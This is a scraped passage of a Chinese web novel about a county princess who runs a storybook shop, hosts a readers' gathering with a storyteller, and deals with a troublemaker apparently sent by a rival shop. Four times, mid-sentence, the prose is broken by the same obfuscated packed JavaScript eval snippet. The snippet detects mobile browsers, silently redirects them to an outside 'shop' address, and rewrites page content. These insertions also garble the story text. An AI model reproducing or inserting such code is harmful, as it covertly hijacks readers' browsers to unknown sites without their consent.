李铮点了点头，继续说道：“险些忘了最要紧的事，一场能容多少人，可曾算过？” 张大掌柜拈着胡须，不住思考：“一楼三十人。二楼，二十人。再多就施展不开，不舒适了。” “行，那就按这个来。” 次日，四月十六。 几人又聚了一回，把要做的杂务一一分配好。 张大掌柜在店里坐镇，有拿不定的主意的，都去找他确认。 除了盯着话本刊刻，他还得收集交流会话题，制定规矩。 桂丫外出采买茶叶、糕点、竹凳，联系说书人，商议说书细节。 张娘子在写新刊刻游记的吆喝词，写话本交流会的告示。 又过了三日。 李铮正在店里和张大掌柜商量布局，竹凳如何摆放，说书人又该在哪处讲。 忽见桂丫急匆匆进了铺子，四下张望了几眼，见店里有客人，又特意慢了步伐，朝李铮二人走了过来。 李铮眼神安抚，示意她先停住，温声说道：“走吧，我们去二楼说。” 待李铮坐下，桂丫连忙开口：“前儿谈好的竹篦匠，说我们定的竹凳，做起来比一般的竹凳费工，且他们又来了别的活。所以要往后推三日才行。但这样一来就误了铺子的事。” 张大掌柜听完一愣，忙道：“这可不行，竹凳数目必须够。报名人数已经定好。若是有人有座，有人无座，最容易起纷争。” “可曾去过其他竹器铺子？” “他家是最合适的，价钱适中，还得空。别家铺子，要么价钱贵，要么手艺一般，更有好些已经接了单排不开活。” 李铮有些皱眉，沉吟片刻：“算下他家能交多少活计，剩下的加钱寻其他家做。” “好嘞！县主，我这就去联系他们。”桂丫说完，小跑着下了楼梯，出了铺子。 竹凳的事一解决，李铮干脆又让人喊了张娘子来，一起商议布局：“一楼临窗坐，你们觉得如何？街外的百姓也能看到。” 张大掌柜摇了摇头，伸手比划了下：“那处坐三十人太挤，不如去后院，到时把偏房的门都锁上，客人也进不去。” 李铮摆手：“天渐渐热了，那处太晒，客人恐坐不住。” 一旁张娘子想了想，慢条斯理说道：“我倒有个主意，用竹子搭几排凉棚，再盖上竹簟。遮阳又通风，本钱也不高。” 张大掌柜忍不住拍手赞同，又看向李铮：“县主觉得如何。” 李铮当即欣然拍板：“这主意不错，就按这个法子来。” 说完交流会的事，又想起明日新话本就要开售，李铮开口问道：“那游记刊刻地怎么样了？” 张大掌柜：“县主放心，已印了一百册，小的也抽查过，字迹清晰。也拿楮皮纸试过，虽说还是有个别字不行，但庄师傅看了说可以直接修，不用重新做。” “锦帙精装本，我是想着先不做，五日后看看卖得如何。而且即使以后要做，一次也只做五本，边卖边做新的。” 李铮笑着点了点头，这主意不错，也省得到时积了货、压了本。 压了压嘴角笑意，张大掌柜继续说道：“小的还按照上次章程，准备了专属小章，样式是云水文配上姑苏游记四个大字。” “竹筹还是上回的。打算和之前一样，十日后前四百名抽题字版。不过这回才人就不露面了，她会提前题好字。” “可以，很是周全，新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178247|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话本就按方才你说的来。” “只是凉棚和竹簟一事，可定了谁来经办。” 张大掌柜沉吟片刻，回道：“便让桂丫负责采买，小的来盯着匠人搭建。” 事情商议的差不多，雅间的氛围也逐渐轻松起来。 抬手揉了揉眉，李铮浅笑说道：“忙了也大半日了，总算都定下来了，让人送些茶来，咱们也都松快松快。” 一旁的丫鬟，忙下楼吩咐伙计沏茶。 张大娘子稍微活动了下腿，方才一直一个姿势，都有些僵了。 转眼便是两日过去。 李铮照例去了书铺。 今日正是后院竹棚搭建的日子，她心下好奇，早早地便来到二楼窗边，向后院张望着。 工匠们叮叮咚咚正在搭建竹棚，竹刀，手锯，刮刀，藤条，木楔，小夯锤，大大小小好些工具。画线立桩、竹子劈开绑扎、不到半日，竹棚框架便已搭好。 绑完最后一根藤条，领头工匠拍了拍竹架，扬声大喊：“竹棚搭了，万事皆好！” 店里伙计也借着方便的功夫，时不时来看两眼。不少人都没亲眼见过搭竹棚。 只要没耽误铺子正常上工，李铮只当作没看见，毕竟自个也在楼上瞧。 没见过，肯定多少有些好奇。 竹棚框架立好，匠人们又合力搬来数卷卷着的竹簟，喊着号子，踩着宽面椅子，一张张往竹棚架上放。 古铜色的面庞，泛着油油的光，咧着嘴，露着牙。 他们号子喊着高兴，周围的伙计匠人也跟着高兴，偶尔路过唠几句嗑。 没过多久，竹棚工人开始收拾工具，打扫地面。 他们动作麻溜，下手快准狠，院子里的碎木屑、碎藤条很快便聚成一团，堆在台阶前。 结清账，他们又喊了句响亮的收尾号子：“竹棚安稳，生意盈门！” 之后便咧着嘴，露着牙，大步离开铺子。 真快活啊，下次需要竹器铺子，还可以找他们。 一旁的周嬷嬷见她脸上带着笑，浑身放松，忙让丫鬟重新沏了热茶送来，又把点心挪到李铮跟前：“县主这几日，总算能歇歇了。您快来尝尝，这是外面铺子新上的点心，今儿个丫鬟新买的。排了老长的队呢。” “这几日您顾不上尝，倒是便宜了底下人。” 略夹了几块，咸甜口，里面放了花生碎，还有白芝麻，别的她就尝不出来了。应是减了糖，毕竟太甜的点心，富贵人家吃多了反倒腻得慌。 “嬷嬷，你也坐下来尝两块，垫垫肚子。”说完挪了挪点心盘子。 “县主快吃，不必管我，我午饭吃得饱，这会还不饿呢。您早饭就夹了几筷子，方才又站了许久。” 李铮乖巧点头，开始安静吃起点心、喝起茶来。 现下场地已经搭好，等明日竹凳一到，便可试着先摆好看看。 店铺外面，规矩也已贴好。 木牌上征集了不少客人想聊的话题。 来买话本的客人，有些是头回来买，排完队，刚体会到同好交流的乐趣，想报名，一问才知人数已满，忍不住扼腕叹息。 张大掌柜在外围人群里，还瞥见几个熟面孔，看着竟像是同行伙计，想必是来打探情况的。这几日，好像都见过几回了。 27. 同好会进行时 四月二十四。 话本同好交流会前一天。 李铮照例辰时到五柳斋探看，铺门外早已贴上告示，明日即将举办。铺内上上下下皆是一片忙碌景象。 柜台前，张大掌柜一手翻账本，一手噼里啪啦拨着算盘。 往里走，几个伙计在接待客人，客人们男女老少都有，除了来问话本，还来问经史子集的。 右手边的书架旁，两个伙计正往上码放新刻印的话本。那些之前的老旧话本，最近总算是清完了。 书架上全是新话本，既有刻印版，也有手抄版。 抬步往二楼去，没走几步就隐约听到急切商议声。 侧耳细听，原来是从二楼传来的。越往上走，声音越清晰。 “去掉铺垫会不会更好？” “会来交流会的，都是看过话本的，不是普通茶客。” “这倒是。你且等我修改下。” 几步踏上二楼，抬眼望去，桂丫和一中年青衫男子正站在竹凳间商议。一人言辞恳切，一人频频点头。 这男子应是说书人，李铮心想。 二楼除了有夹墙的雅间，其余都把屏风或博古架撤掉，摆了二十余张竹凳和几张长条桌，方便摆放茶点。 最前方还摆了张桌案，想必到时是在这说书。 李铮没惊扰二人，转身往靠后院的窗边走去。 三个杂役正在来回摆竹凳。一个居中调度，两个听候吩咐。时不时听到两句“这样如何”“行不行”。 居中调度的那个，一会向左挥挥，一会又摇摇头向右指指。 要是有分不清方位的在这，一准被绕得团团转。 见伙计干得很是投入，李铮不再多留，转而吩咐金竹：“去唤张大掌柜和桂丫来，让他们稍后来二楼雅间议事。” 说罢，她便径直走到雅间坐下。 周嬷嬷一边沏茶，一边开口回道： “县主，一共从府里抽了四人来帮忙，两个健壮婆子、两个丫鬟。 晌午过后，他们几人会来铺子踩点，到时让大掌柜给他们安排活计。省得到时手忙脚乱。” 李铮笑着点头：“嬷嬷办事，我放心。” 正说着，门外突然传来敲门声。桂丫和张大掌柜前后脚进了屋。 桂丫上前福了个礼，笑盈盈地回道： “县主，两个说书人都安排好了，每个话本各排了两段精彩的，到时可让客人们选，想听哪段。 女客这边的说书人，一定安排好，不要唐突了客人。” 桂丫话音刚落，张大掌柜也跟着躬身行礼：“回县主，小的特意选了口碑好的，这两人常去的茶馆，都有不少女客去。没听闻什么不好的消息。” 李铮闻言笑着点了点头：“提前考虑到这点便好。” 张大掌柜上前一步： “县主，这回报名的，都买了咱们书铺的话本，没买的都以不符合要求拒了。 暂时未发现官宦人家子女，当然也可能是穿着低调，小的眼拙忽略了。” 李铮想了片刻，开口回道：“不妨事。就算真有，只要他们肯低调收敛，就由着他们去。” 话音刚落，她又想到秩序问题，抬眼看向张大掌柜：“维护秩序的人手可安排妥当了？尤其是一楼。更要上心。二楼倒还好，健壮婆子和侍女，皆从府里出，下午他们过来踩点，届时你把差事分配妥当便是。” 张大掌柜沉吟片刻，开口道： “明日一早，小的便会将偏房门尽数上锁。维护秩序一事，小的安排了四个杂役和学徒专门守着。 其他伙计也都交代妥当，一旦有人争执，立马上前拉开，小的也会一直在后院看着。 二楼就由桂丫和张娘子看着。我已叮嘱她们，若是有人故意闹事，先将人拉出去，莫要在现场纠缠。” 李铮指尖轻敲桌案，轻轻颔首：“不错，想得很是周详。明日秩序务必管好，有人闹事及时解决。” 张大掌柜郑重躬身，重重点头：“小的谨记在心，绝不敢怠慢。” 太阳落下又升起。 辰时到了。 书铺门前渐渐热闹起来。陆续到了不少男客，女客。 进门处设了两张长桌，左侧伙计专门核验男客，右桌丫鬟则是核验女客，一切井然有序。 接过话本，确认是否是店内出售、确认报名之人姓名。若有带丫鬟小厮，至多带一名，但从属之人不可参与讨论。 验明身份后，由丫鬟或小厮带至对应场所。 李铮摆摆手，让众人照旧干活，她绕开长桌，缓步走入铺内。 她今日换了身素色衣衫，只簪一支银钗，又提前吩咐桂丫在交流会后方加了椅子，到了二楼，便径直在后排静坐，悄悄打量前方。 不多时，便有不少人携着话本上来。一有人上来，丫鬟就会送上热茶和点心。 众人中，有随身带着丫鬟的，也有三两好友结伴而来的。她们入席时会四下打量，偶尔对视，便害羞浅笑几声。 不多时便开始熟络起来。有人互换话本，有人低声交流书中人物，间或尝些点心，喝口茶水。 咦，上回那对姐妹竟也到了，二人正在四处张望，看到李铮也在，妹妹略有些激动，悄悄挥了挥手中的手帕。姐姐浅笑示意了一下。 见李铮衣着朴素，二人也没上前招呼，只寻了个空座静静坐下。 又过了片刻，竹凳已坐无虚席。 人，总算齐了。 桂丫上前简单开场，略说几句交流会规矩，便把说书人请了上来。 这说书人，穿着一身藏蓝色长衫，端坐案后，案上铺着素布，放着醒木和折扇。 “啪。” 醒木一拍。 原本低头闲谈的，翻看话本的女娘，尽数停了动作，抬头往台上望去。 “列位客官，今日咱们不讲探案，不讲沙场点兵，单说一段京城里的儿女情长。” 说书人顿了顿，轻叩桌面。 “名唤《月满西厢》，讲的是裴郎君和顾娘子，从别有用心，到假意掺真情，最后却相忘江湖的故事。” 话说京城里有两大世家，政见素来不和。一个重律法，铁面无私；一个崇尚无为而治，与民休息。朝堂之上，二人常常据理相争，争得面红耳赤。 裴家有子，生得严谨端方；顾家有女，养得温柔大气。 忽一日，裴、顾两位当家人又因政见不合，吵起架来。 裴三郎听得多了，着实有些费解，为何有人会崇尚无为而治。有律法在，那起子作奸犯科的小人都没震慑住，若是无为而治，那百姓日子得多难熬啊。 他越想越疑惑，不由生出几分探究之心，想弄明白顾家为何会如此主张。 于是这裴三郎，暗中精心安排，想在茶馆巧遇顾家郎君，趁机问个明白。 可他万万没料到，那日正好是顾娘子女扮男装出来闲逛。 这般阴差阳错之下，二人就此相识。一个只当对方是普通书生，一个误认为对方是顾家郎君。 顾娘子怀着女儿身未被识别的小心思，裴郎君虽已看破，但料想对方不知自己已识破。于是便这么各怀心思，心照不宣，做起了朋友。 起初二人闲谈，是讲些百姓民生、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187080|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律法政事。熟稔之后，话题便多样了起来，哪个园子的桂花开得最好，香气最浓；还会探讨冬至吃的百味馄饨，最偏爱哪个口味，下雪吃的拨霞供，怎么烹煮更好吃。 话题越来越杂，二人越来越熟。忍不住生出情愫来。 忍耐是磨人的，像是蚌壳里的沙砾，尤其是互生情愫时。 忽一日，天上突降鹅毛大雪，不过半日，积雪便盖过脚踝。风也大极了，能把人手刮开口子。 但因着前日早已约好相见，一来担心对方久等，二来按捺不住见面的念头。于是二人裹得严严实实，给了仆人丰厚赏银，顶着大雪和寒风，出门赴约。 一到茶馆，先至的与后来的一对视，眼里的光骤然亮起来。 可越受宠若惊，越手足无措，不知要从何说起。 千言万语，有口难开。 有了情愫，二人没去雅间，在大厅角落选了张长桌坐下。 静坐。 静坐。 说书人声音逐渐变低，台下客官呼吸也逐渐放轻。 啪。 惊堂木一响。 说书人的声音也陡然变大。 二人终于开口说话，说自己的性别，说自己的身份，说自己的变化。 门外大雪纷飞，寒风卷着雪往窗棂上撞。 门内几盏油灯，颤巍巍地发出昏黄的光。 两人久久凝视对方，有些话不用说出口。 至此，二人情定终身。 说到此处，说书人一拍醒木，朗声收尾：“欲知后事如何，且听下回分解。” 台下看客纵然早就知道结局不甚甜蜜，但听到二人情定终身，还是忍不住眉开眼笑，欢喜起来。 你望我，我望你，周围人全在笑，笑意传递开来，大家逐渐放开，笑容越来越大。 温柔的，爽朗的，桀桀桀搞怪的，大家笑得越来越自在，越来越放松。 到最后，众人的笑，好似也不单是为了话本。 难得的轻松自在好时光。众人三五成组，眉眼舒展，低声交流起自己发掘到的细节。 有人摊开话本，翻到某页，一时兴起，学着书中人，作出写信、相逢、赏花的姿态，间或再念几句书中人台词。 有人带头，便有人跟上。锦鲤妹妹阿桃，凑了上去。几人都是活泼的性子，很快熟悉起来。 场上越来越热闹，暖意升腾。李铮也忍不住嘴角上扬，笑出声来。 前几日选了几个话题，没定次序，现下就看谁愿主动做第一人了。 没成想桂丫一吆喝，竟有几人争先举手，看来方才大家都很欢喜。 各人都简略介绍了一下自个的话题，一番比较下来，最后一名杏衣姑娘拔得头筹。 那杏衣姑娘起身，取过桌案上的布套，缓步走到台前，从布套中取出一本锦面小册，轻轻展开，开始柔声介绍起画上人物。 这是顾娘子凭栏观鱼图，一池清水，三五尾红鱼，灵动极了。 这是顾娘子庭院课童图，一女子手持三字经，在教导三两个垂髫小童读书。 还有雪中定情图，大雪纷飞，裴郎君在茶馆角落坐着，顾娘子身着红色斗篷，发丝都沾了雪，正推门而入。 寥寥几笔，便勾勒出画中之人神态，而且这姑娘心思剔透，不画五官，只取侧影，让人忍不住便生出无限遐思来。 底下女娘连连抚掌叫好，顾娘子就该是这般风采。 正当李铮专注赏画时，一丫鬟悄然来至身侧，附耳低声道：“县主，后院方才有人生事，张大掌柜和其理论了几句，现下闹事之人已离开，张大掌柜在大堂等您。” 28. 后院风波 李铮四下扫了一眼，众人正沉浸在交流会的热闹中，无人留意这边。偷偷松了口气，低声交待丫鬟原地候着，切莫声张。 她自个悄摸起身，轻手轻脚往一楼去。 张大掌柜正在楼梯口等着，手不住摩挲着袖口，神色有几分焦灼，时不时还抬头看两眼楼梯口，唯恐错过了人。 见李铮缓步下了台阶，他连忙收起脸上的焦灼，躬身，低头请安。 踏至一楼大堂，她又下意识往四周扫了一眼。两三个客人正悠闲地在书架前翻拣，因着客人并无招呼之意，伙计便只不远不近地跟着，没贸然上前。 抄书的桌案旁，光线正好，明亮又不刺眼，三五个客人正围在一起闲聊，时不时瞥两眼楼上或者后院，好似在留心动静，偶尔发出几声笑来。 不管方才后院发生何事，起码现下铺子一片祥和。 李铮暗自松了口气。也不知是方才在场的客人已经走了，还是他们并不知晓有人闹事，又或是知晓了也不放在心上。 没等李铮细想个明白，张大掌柜便上前半步，微微躬身，低声禀道：“县主，大堂人多眼杂，说话不便。虽说后院正办着交流会，但那里反倒有几处僻静角落无人在意，不如咱们去那边说话？” 李铮收回目光，颔首说道：“可以，前方带路。” 二人从交流会后侧掠过，步履轻缓，丝毫未惊动客人，一路去到角落那株芭蕉树旁，才停下脚步。 张大掌柜脸色有些难看，低声说道：“县主，方才说书人刚讲完一场，众人正聊得好好的，偏生冒出一年轻小子，瞧着像是普通客人。 他猛地起身，竹凳咣当一下倒在地上，话本也啪地摔在桌案上，然后冷笑一声，一开口就刺耳极了。” 他犹豫了下，还是学了那句原话：“这也叫好书？还以为会有多好呢。不过如此罢了。你们这般追捧，莫不是没见过什么世面。 他这话一出，其他说得高兴的客人，都有些面面相觑。小的上前理论道，你既认为不好看，不看便是了，为何还要大老远来参加同好交流会。况且书这东西，本来就千人千面。哪可能讨得所有人欢心。 好在还有三五个仗义客人，帮着说了几句公道话。那闹事的年轻小子，四下瞅了几眼，见占不到上风，便撂下几句狠话，一甩袖子悻悻走了。” 张大掌柜缓了口气，接着说道：“后来，小的也上前安抚了客人。只是看他那架势和口气，绝不是个普通客人。小的斗胆揣测，十有八九啊，他是同行派来故意闹事的！” 说到此处，他脸上气愤难平，扫了眼周围众人，随即压低声音继续说道：“方才，我已让杂役悄摸跟了上去，看能不能摸清他的来路。 小的倒要看看，究竟是哪家黑心书铺，在背后耍这些上不得台面的阴损手段！” 说着他又有些愤恨：“自古只有千日做贼，哪有千日防贼的道理。这回若是不让他们好好长个教训，日后定会得寸进尺，变本加厉！” 李铮听完，面皮气得都绷紧了，竟有这等小人，敢来欺负她的书铺，她可是一直规规矩矩经营。 怎么哪里都有小人。 这起子小人，就这么见不得别人好吗。 整日里不想着好好经营，好好收集故事，净琢磨些歪门邪道。 越想越气。 有些心眼的，还知道先掂量掂量自己的身份；这次使坏的，肯定是个缺心眼的莽夫，别人都按兵不动，都在观望，只有他，这才哪到哪，就开始耍阴招。 料想自己要脸面，不会跟他一般见识吗？ 她可不是那种任人欺负的人。以德报怨，何以报德。 她倒要看看，到底是谁，这么不长眼。 在心里把坏人大卸八块之后，李铮心绪也渐渐平静下来。 好在书铺掌柜靠谱，碰见有人闹事，立马想方设法查探身份，同时思考如何反击。 转念一想，对方费尽心思使阴招，是因为眼红，因为嫉妒。这不正说明自己经营有方，书铺蒸蒸日上吗。 想通之后，李铮隐约轻快起来。 她看向张大掌柜，微微颔首，笑着赞道：“你做得很好，既当场驳斥了那人，又让杂役悄悄跟踪，打探身份。非常妥当。再没比这更妥当的法子了。” 张大掌柜被她这般当面夸赞，不由露出几分笑意来。 见他神色松快了些，李铮定了定神。自己气愤，张大掌柜想必也很气愤。想到这她又轻声安抚道：“不必过多担忧，这人心有不满，还非要来参加交流会，是非曲直，想必客人心中自有答案。” 顿了顿，李铮语气郑重起来：“只是这回他们没讨着好，也不知下回又会耍什么阴损手段。以后咱们务必多留心。” 张大掌柜收敛起笑意，神色严肃，躬身应道：“县主放心，往后定会多留意，绝不给他们半点可乘之机。” 李铮四下望了望，又往斜前方的交流会瞧了几眼，好些人已经三五凑成团，勾肩搭背了。 收回目光，她轻声吩咐道：“先回大堂吧，一直在这也不是长久之计。接下来这几日，咱们只管静观其变，你让店里的伙计都警醒些，再提前教他们几招应对之法，免得碰到小人滋事，他们手足无措。” “你也不可能时时刻刻都守在大堂，大家都有所准备才最稳妥。” 张大掌柜连忙躬身应是。二人没多耽搁，照旧从交流会后侧掠过，悄无声息绕回大堂。 刚到大堂没多久，便见之前派出去打探的杂役，疾步而来。 这杂役也机灵，他见大堂人多眼杂，连忙放慢脚步，四下打量，又凑到书架前随手翻拣几本书，装作若无其事的样子往二人这来。 三人凑在角落书架，杂役垂着头，压低声音，飞快回禀： “县主，掌柜的，小的跟上去看了。虽然他大街小巷地绕了好几圈，还进了三家书铺，但小的还是跟上了。 为了防着这人故意栽赃，小的还装作客人跟着进了铺子。 那小子，和店里伙计都说了几句话，不过小的不敢跟太近，没听到他们在说什么。 还好小的没放弃，继续跟着他。 他从第三家书铺出来后，便站在巷子口等候。没多大功夫，巷口那家书铺的杂役就出来了，悄摸递了个香囊，两人就分开了。 小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197242|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得清清楚楚，这杂役正是前段日子来咱们铺里应聘杂役，却没被录取的那个。当时他还一脸和气，但掌柜的您说不合眼缘，所以小的记住了他。 现下就是不知，是这杂役自己怀恨在心，想报复我们，还是那家掌柜背后指使。” 张大掌柜皱了皱眉，低声说道：“杂役月钱微薄，咱们与他也没结下什么大仇，不至于做到这地步吧。” 李铮听完没说话。 这般短视愚蠢的人，她碰到过不少呢。 不得不说，世界之大，无奇不有。有些人就是没脑子，揣摩太多他们的心思也没用，毕竟他们都不带脑子了。当然也有些人，就是单纯的坏。 张大掌柜是真没想到一个落选的杂役，还能整出这么些事。“那杂役，小的之前也是觉得他不够踏实，太过活络，不是稳妥之人，所以没用他，当时也是好声好气拒绝的。 县主您也知道，雇人本就讲究合适与否，不合心意便不用，这是再寻常不过的事了！ 平日那掌柜瞧着笑眯眯的，若是他也参与了，那真是万万没想到！而且咱们书铺改了润笔费之后，这才第二回刊刻，他忍不住了，这也忒见不得别人好，眼皮子太浅了。” 说着说着他又叹了口气： “想必这两人都不是什么好东西。杂役应是做不到这件事，雇人闹事，闹事之人还得识字，这可是要花不少银钱的。 不是小的以衣冠取人，只是若是不识字的苦力，小的一眼就能识出，他们就算来书铺，也是买些启蒙书籍，而且大多一进书铺，先怯三分。” 李铮手指轻敲书面，余光看向杂役，声音轻得只有身旁两人能听见：“这事我已知晓。你先下去，继续在后院盯着，说不准还会有别的阴招。” 杂役应声退下，轻手轻脚进了后院。 李铮又看向张大掌柜，吩咐道： “咱们铺子照常做事，就当什么都没发生，先把今儿这交流会办好。 既已知晓，此事十有八九是同行书铺眼红使绊子，咱们更不能乱了阵脚。越是镇定，旁人越是相信我们。 要是咱们自个先慌乱了，不知道的，还以为被说中了。反倒遂了那起子小人的意。 想坏咱们的名声，也不掂量掂量自己几斤几两！ 非得让他们竹篮打水一场空不可。” 说完，李铮又担心张大掌柜一时气盛冲动行事，连忙叮嘱道：“那杂役瞧着做事挺有头脑，回来让他继续盯着，但切莫去那家书铺闹事，也不要主动挑衅。要不然客人眼里，咱们有理也变成无理。 咱们有了防备，他们想得逞自然就难了。” 张大掌柜原先还怕李铮年纪轻轻沉不住气，要和对方硬碰硬。现下见她很是沉稳，还反过来叮嘱自己，偷偷松了口气，重新稳重起来。 摸了摸胡须，他低头回道：“县主放心，小的知晓分寸。就算争执起来，也定让客人站在我们这边。 小的会仔细盯着，争取抓他们个现行。咱们行得正坐得端，真要闹大了，也不怕他们。 说不准，附近其他书铺，也有遭他们祸害的。到时候，还能再寻几分助力。” 29. 话本二编 因着后院出现闹事之人，李铮耽搁了些时间，等她再去到二楼，交流会已经进行过半了。 台上众人大多神色郁郁，有的还义愤填膺。想来方才说书人已经讲了结尾一段，一对有情人，相忘于江湖。 之前场上的暖意，都化成了怅惘。 锦鲤妹妹阿桃，受不了这个氛围，不住地用指尖轻戳姐姐阿沅，嘴里嘀嘀咕咕，好似在催促。 一旁李铮看在眼里，猜想阿桃是想缠着阿沅，把写好的小故事拿出来。 阿沅无奈地瞥了眼妹妹，终究还是拗不过，捧着小册子，缓步去了台前。 阿桃又在底下朗声喊道：“这是我姐姐，打算将她新写的几个小段子说与诸位，都是裴郎君和顾娘子的。” 惹得众人都看过去。前面已有人给两位主人公画小像，没想到现下竟还有人写了段子。 阿沅捧着有些卷边的册子站定，台下人很多，有人低着头，有人正抬头看着她，她悄悄吸了口气，缓缓开口。 声音起初有些发紧，有些轻，过了片刻，声音就和平时说话一样了。 她讲的正是，未挑明身份前，那些藏在二人相处里的微妙心思。除此之外，还讲了些旁人不知的二人定情后的小段子，比如同逛庙会，一同赏花。 有人原本在和相邻之人说话，不知不觉抬了头；有人原本眉头微皱，现下神色放松。 方才沉闷的氛围，被阿沅的声音带着，一点点化开。 阿沅越讲声音越放松，讲完小段子，又开始讲起新的结局。她着实不想看到二人相忘江湖，于是顺着原来的脉络写起了新的故事。 阿沅新的故事里，二人不再将心意藏起来，那些说不出口的苦衷，辗转难眠的牵挂，都不再深埋于心，而是统统讲出来。 这时二人才发现，原来他们之间的情意已经那么浓厚了。 除了彼此交心，他们还鼓起勇气，一起去拜见双方父母。 从家国抱负，到个人理想，经过几番坦诚沟通，两人父亲虽然政见还是有所不同，但也多了几分包容。 经历这一番波折，二人因祸得福，开始更加理解何为爱，何为勇气，何为求同存异。 最后他们也终得圆满，在父母亲人祝福中，得偿所愿，相守一生。 台下众人都全神贯注听着，眼睛眨也不眨。 故事已经讲完，台下众人还是安安静静，沉浸其中。 两版结局差别很大，一种虽然相爱，但是最后相忘江湖；一种鼓起勇气，主动出击。 李铮喜欢第二个。她喜欢主动出击，有话就说的人。最不喜欢说话遮遮掩掩的，若什么都靠猜，那猜错怎么办。 就像她喜欢故事，所以开话本铺一样。想做就去做，又没伤天害理。 台下气氛重新暖起来，轻快的氛围，缠绕在众人之间，方才的沉郁一扫而空。 “虽然知晓，新故事过于理想，但听完还是觉得很舒坦。” “总觉得又心疼又满足，还好这次交流会我来了，姐妹们都太有才华了。” 众人纷纷夸赞起来，突然一青衣姑娘站起身来，有些严肃说道：“可这些都是假的，这不是原作。” 氛围又开始凝滞起来。 阿沅站起身，从容回道：“我只是想为裴郎君和顾娘子，另寻一个新的结尾，并非否定原作。人生本就如同一个个岔路口，可能向左，可能向右，全在一念之间。” 先前最先站起来与大家一起共赏小像的杏衣姑娘，笑着说道：“我倒觉得，这般心意，大家都能接受。我画小像，也是出于喜爱。” 场上一位中年妇人，望着眼前众多年轻女娘，目光温和包容，缓缓开口：“古往今来，从来不乏各种演义、仿作、后传、杂剧。咱们不是第一人，也不会是最后一人。不管是画小像，还是写新段子，大家都是因为喜爱，都是想给故事多添一分圆满罢了。” 桂丫也站起来，笑着打起圆场：“话本交流会，本就是为了让大家能够遇见同好，畅所欲言的。书中的故事，是话本才人给的，方才续写的故事、小像，是咱们这些看书之人，新创造的，都是一番心意。” 众人你一言我一语，青衣姑娘听在耳中，神色也逐渐缓和，不再那么严肃。她沉默片刻，开口说道：“我，只是太喜欢这个故事罢了。” 中年妇人，缓缓开口宽慰道：“大家都理解的，我们今日坐在这里，就是因为喜欢这个故事，喜欢话本。正好方才有人讲了新编故事，我这里也写了些婚后日常，愿说与诸位一听。” 说完她开始讲起婚后小段子来： “婚后，顾娘子在女学教书，颇受学子们喜爱。经常散学了，还有不少学子围在身侧，追问不休。 这日恰逢裴郎君生辰，他在家中等得有些坐不住，便亲自去了学堂外。 学堂外不少女娘背着书箱，叽叽喳喳往外走，脚步声、说笑声接连不断。 学子们一离开不久，接下来就是学堂夫子们了。 裴郎君紧盯学堂大门。 出来一位，不是他的顾娘子。 又出来一位，仍不是。 一炷香的功夫过去了，怎得自家娘子还没出来。 心下有些着急，裴郎君只好托学中仆妇，去课室门口看看情况。 学子们一看嬷嬷来了，立马心领神会，笑着打趣：‘莫不是师公又来了，嬷嬷快说，今日是因为桂香迷人，还是因为晚霞正好？’ 这般打趣，每一届的学子们都爱说。顾娘子虽然经历了好些次，但还是有些羞涩。 她含着歉意，向众人笑了笑：‘今日是你们师公生辰，诸位若有疑问，我明日再来为大家讲解。今日便先告辞了。’ 众人闻言，笑着应道：‘先生自去便是，再不去，师公就该等急了。’” 听到这等温馨的婚后趣事，台下众人，一个个眉眼弯弯，笑得开心极了。 中年妇人说完，陆续又有几人说起自己写的段子。 场上气氛一浪高过一浪。 这才是真正的同好交流会呀，虽然后院有些波折，但二楼就是她想象中的同好交流会，大家一起畅所欲言，说起自己对故事的看法，也不会互相攻击，求同存异。 交流会，也渐渐接近尾声了。 有人提议，不若大家一同题字留作纪念，不想题自己的真名，取个别号也行。 只是众人都未提前准备，手边并无宽幅宣纸，一时间，她们纷纷看向桂丫。 桂丫见状立马站起身来，对着诸位女娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210238|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道：“铺子里纸笔都有的，各位客官，可以先想着别号，我这就去取来。” 众人一听可以提供，立刻笑起来，开始三三两两讨论起来，自己要取个什么别号。 